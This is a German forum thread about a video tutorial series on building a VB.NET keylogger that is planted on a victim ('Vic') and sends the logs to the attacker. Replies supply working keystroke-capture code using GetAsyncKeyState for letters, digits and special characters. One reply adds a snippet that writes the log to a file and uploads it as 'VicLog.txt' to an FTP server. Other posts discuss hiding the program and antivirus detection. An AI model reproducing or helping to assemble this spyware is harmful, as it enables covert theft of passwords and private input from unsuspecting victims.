[b][vb.net]ftp keylogger

Sooo
Da ist es endlich Tutorial 1/3 wie man sich mit visual basic 2008 ein Keylogger bastelt.

Was kann der alles / wie funktionierts ??
Es sind insgesammt 4 Programme. Programm 1-3 werden zu einem "verschmolzen" ^^ Dieses bekommt euer Vic das euch dann auch die Daten sendet , ihr werdet unteranderem (programm 4) dann die Daten in einem Manager zu gesendet bekommen. Mehr infos im Video.

Was brauche ich ?
Ihr solltet aufjeden fall mit vb garbeitet haben und selber nen nützlichen code auf die reihe bekommen , haltet das video bitte an um euch es selber dann ins vb zu schreiben ich lass nich extra lücken das ihr schnell ins vb switchen könnt^^.

- Microsoft´s Visual basic 2008 Express edition
- Einen Ftp Server (www.funpic.de , www.ohost.com)

TUTORIALS
Video1. = Programm 1 ( der die Tasten logt) + code.txt + Mein logo ;P = 12 Mb groß LINK : http://rapidshare.com/files/212140488/Keylogger_1.rar

Video 2. = folgt noch

Video 3. = folgt noch

cool vielen dank
werde es mir mal anschauen

EDIT: Tut ist echt klasse geworden alles gut und sauber beschrieben und erklärt.

Hmm oke Naja ich kann zwar kein vb.net aber anschauen werde ichs mir mal

Jo ;PP
xDD sry die code.txt is irgentwie leer nich dran gedacht aber kann man ja auch abschreiben ^^ Falls was nich klappt einfach rein schreiben gibt dann pm , 2tes Video wird grade gedreht erwartet es spätestens gegen 14 uhr

iss 14 Uhr ^^

Also ich finde aber der Interval vom Timer1 ist viel zu niedrig xD...
Da werden bei mir die Buchstaben wenn ich einmal a drücke 10 mla geschrieben lol.

________

Kann mir vlt jemand sagen wie das hier richtig geht^^?

If GetAsyncKeyState(Keys.ShiftKey and Keys.Q) Then
Label1.Text = Label1.Text + "Q"
End If

Also das wenn man Shift und q drückt der Buchstabe groß geschrieben wird :D?

(achso und n1 TUT :D)

Gut:
- Sprache
- einiges wurde auch erklährt
- du hast das ganze auch vorgeführt

Weniger gut:
- z.B. "wichtig ist bei timer1, den müsst ihr auf 10 stellen" (frei aus dem Kopf zitiert) - wo du was verstellt hast ist nicht sichtbar (das sollte für einen VB Programmierer zwar klar sein, aber für Leute, wie mich, die sich das nur so zum Spaß ansehen und kein VB installiert haben, ist das nicht direkt ersichtlich)
- Copy&Paste
- die Zahl, mit der du den Rückgabewert von GetAsyncKeyState vergleichst hast du nicht hergeleitet ( siehe http://msdn.microsoft.com/en-us/libr...93(VS.85).aspx bei "Return Value" )
- die riesen "If GetAsync...(Key.A-Z) = ... Then"-Menge ist sehr anfängermäßig! Ein richtiger Programmierer würde die einzelnen Tastennummern und deren zugehäroge Strings in einem Array ablegen und diesen dann von einer Schleife abarbeiten lassen!
(genau genommen würde ein richtiger Programmierer Hooks benutzen, aber das lassen wir mal außer Acht!)
- die Methode das Programm zu verstecken ist etwas simpel aufgebaut und wirkt auch nicht wirklich gut
- jede gute Antivirensoftware wird das Programm als Keylogger erkennen!
- My.Computer.FileSystem.WriteAllText(file As String, text As String, append As Boolean) - append (engl.) = anfügen - bitte richtig erkähren - dein "soll er die jetzt mehrmals hintereinander schreiben" klingt so als ob die Funktion den Parameter text mehrmals schreiben würde (was ja nicht direkt der Fall ist, da der Text sich zwischen den aufrufen ständig ändert!)

LOL dafür das du das nur zum spaß anshaust, haste aber voll den Plan xD

ich finds am geilsten wo du zum schluss sagst : " ja also den Code gebe ich euch mit in eine txt , Ich will jetzt nicht das ihr ihn rauskopiert sondern es versteht... Ich mein ich habe ihn auch selber geschrieben! " HAHA XD da hatte ich ur den appäcker....
1. Keylogger1_code.txt (0KB) hinterlassen XDDD
2. Du hast den code doch auch aus deine txt rauskopiert

aber sonst für anfänger ehh gut...


mfg. Code-C4

@ BlackBerry : Ja wenn du nochn Anfänger bist dann beschäftige dich lieber mit was anderem ^^ Das meinte ich man soll n bissi erfahrung haben um den timer usw selber einzustellen

@Code-C4 : Lass mich doch habe Fieber und versuche hier nen gutes tut auf die Reihe zu bekomm xDD und auserdem meinte ich das ich es eig. das tut in schriftlicher form reinsetzen wollte ja nun doch video und deswegen die vorschrift^^ Ja klar is es fuer anfänger gut nur die idee mit dem Manager ( 4tes Programm ) is dann schmakofatz^^

UPDATE : 2tes Video läd grade rapidshare hoch^^

Zitat:

---

Zitat von ghosty

LOL dafür das du das nur zum spaß anshaust, haste aber voll den Plan xD

---

Von VB? Nein - das ist Jahre her und vertieft habe ich das nie besonders.
Ich bin relativ schnell auf PHP, C und C++ umgestiegen.

Zitat:

---

Zitat von Kevin14W.

@ BlackBerry : Ja wenn du nochn Anfänger bist dann beschäftige dich lieber mit was anderem ^^ Das meinte ich man soll n bissi erfahrung haben um den timer usw selber einzustellen

---

Wie oben schon erwähnt, habe ich ein (ganz kleines) bisschen VB Erfahrung (damals noch VB2005) und kann mir vorstellen was du meinst.
Die Kritik galt in erster Linie der Kameraführung - Camtasia hat da ja einiges zu bieten!

Zitat:

---

Zitat von Kevin14W.

UPDATE : 2tes Video läd grade rapidshare hoch^^

---

Stichpunktzettel fertig?
Kritik berücksichtigt?
:)

Dauert es noch lange^^?
Ich mein wenn du vor knapp 3 h angefangen hast zu uppen?

lol XD ich meine er is off
wenn er off ist geht das net so gut

Jetzt ist er online, wann folgt denn Version zwei endlich?

ONLINE!!! Juhu
jetzt nur noch schnell bei raipid den Link kopieren hier einfügen und dann kommen wir zum Einsatz ---> DOWNLOADEN!!!

Leute es is nich so einfach xD
Rapidshare wollte mir grade sagen das er 185 stunden brauchen emmm... 0.o
Ich habe einige Probleme aber zurnot wirds schriftlich nachgereicht also bei
2tes Video wird wohl schrift lich als notepade download^^
Ps : sitz grade drann
mfg Kevin14w.

Es gibt auch noch andere FileHoster!

http://board.gulli.com/thread/448140...ck-filehoster/

oder einfach: upladoet.to

Zitat:

---

Zitat von ghosty

Kann mir vlt jemand sagen wie das hier richtig geht^^?

If GetAsyncKeyState(Keys.ShiftKey and Keys.Q) Then
Label1.Text = Label1.Text + "Q"
End If

Also das wenn man Shift und q drückt der Buchstabe groß geschrieben wird :D?

---

Hat noch niemand geholfen :D

Code:

---

If GetAsyncKeyState(Keys.A) = -32767 Then
        If My.Computer.Keyboard.ShiftKeyDown = True Then
            Label1.Text = Label1.Text + "A"
        Else
            Label1.Text = Label1.Text + "a"
        End If
End If

---

Zitat:

---

Zitat von DarkFire

Code:

---

If GetAsyncKeyState(Keys.A) = -32767 Then
        If My.Computer.Keyboard.ShiftKeyDown = True Then
            Label1.Text = Label1.Text + "A"
        Else
            Label1.Text = Label1.Text + "a"
        End If
End If

---

---

Öhmmmm :D
Geht nicht wirklich? ô.Ó

Ähm.. doch...

geht wirklich vielen dank

wollte mal fragen wann das 2. Tutorial rauskommt

Läuft dein Internet über einen Hamster im Laufrad oder wieso brauchst du Tage um es hochzuladen?

Weil er nen Real Life hat und er noch Krank ist...

Langsam wird es peinlich, du postet nebenbei in andere Threads, uploadest schon seit über 7 Tagen und reagierst auf keine privat Nachrichten. Komm schon, ich hät gerne den zweiten Teil des Tutorials, dass erste war schon klasse :(

Wird das eig noch was? Ich warte schon ca. eine Woche auf das 2. Video Wenn du es nicht hinbekommst dann schreib es doch rein. mfg g4$0N3

Hmm bin voll gespannt, hoffentlch wird das noch was

Dann wartet doch auch mal und spammt nicht immer

Er reagiert auf keine Nachricht, auf keine Anfragen in einem anderen Thread und hier schaut er gar nicht mehr rein, der Thread kann eigentlich geschlossen werden.

OMG dann lasst ihn doch!!!

Warum seit ihr jetzt sauer auf ihn den rest des Tuts kann man sich doch wohl denken -.-
wenn ihr das nochnichmals hinbekommt dann lasst es am besten kommplett :/


mfG

inmate

Damit ihr jetzt alle eure 1337 l3€t Keylogger schreiben könnt.

Dim Datei As System.IO.StreamWriter = System.IO.File.CreateText("C:\Keylogger.txt")
Datei.WriteLine(Label1.Text)
Datei.Close()

Dim Ort As String = "C:\Keylogger.txt"
Dim Ftp As String = "Mein ftp blabla"
Dim Name As String = "VicLog.txt"
Dim User As String = "LeetR0Xor"
Dim Password As String "1234"

My.Computer.Network.UploadFile(Ort, "ftp://" & Ftp & "/" & Name, User, Password)

Zitat:

---

Zitat von DarkFire

Damit ihr jetzt alle eure 1337 l3€t Keylogger schreiben könnt.

Dim Datei As System.IO.StreamWriter = System.IO.File.CreateText("C:\Keylogger.txt")
Datei.WriteLine(Label1.Text)
Datei.Close()

Dim Ort As String = "C:\Keylogger.txt"
Dim Ftp As String = "Mein ftp blabla"
Dim Name As String = "VicLog.txt"
Dim User As String = "LeetR0Xor"
Dim Password As String "1234"

My.Computer.Network.UploadFile(Ort, "ftp://" & Ftp & "/" & Name, User, Password)

---

Jo echt Nett von dir auch wenn ichs nicht brauch xD.

Zitat:

---

1337 l3€t

---

LOL

Wie geht das mit Zahlen ? Das er wenn einer Zahlen ausgibt es auf label1.text erscheint?

Buchstaben:

Zitat:

---

Zitat von DarkFire

Code:

---

If GetAsyncKeyState(Keys.A) = -32767 Then
        If My.Computer.Keyboard.ShiftKeyDown = True Then
            Label1.Text = Label1.Text + "A"
        Else
            Label1.Text = Label1.Text + "a"
        End If
End If

---

---

Zahlen:
If GetAsyncKeyState(Keys.D0) = -32767 Then
If My.Computer.Keyboard.ShiftKeyDown = True Then
Label1.Text = Label1.Text + "="

Else
Label1.Text = Label1.Text + "0"

End If
End If

If GetAsyncKeyState(Keys.D1) = -32767 Then
If My.Computer.Keyboard.ShiftKeyDown = True Then
Label1.Text = Label1.Text + "!"

Else
Label1.Text = Label1.Text + "1"

End If
End If

If GetAsyncKeyState(Keys.NumPad0) = -32767 Then
Label1.Text = Label1.Text + "0"

End If

If GetAsyncKeyState(Keys.NumPad1) = -32767 Then
Label1.Text = Label1.Text + "1"

End If

part2 ? ^^

btw wie mach ich ein @ ?

Code:

---

        If GetAsyncKeyState(Keys.Control + Keys.Alt + Keys.Q) = -32767 Then
            Label1.Text = Label1.Text + "@"
        End If

---

Hab ich versucht, heraus kommt wieder ein "q"

If GetAsyncKeyState(Keys.RMenu) = -32767 And GetAsyncKeyState(Keys.Q) = -32767 Then

Nicht gestestet =/ sollte aber gehen ;)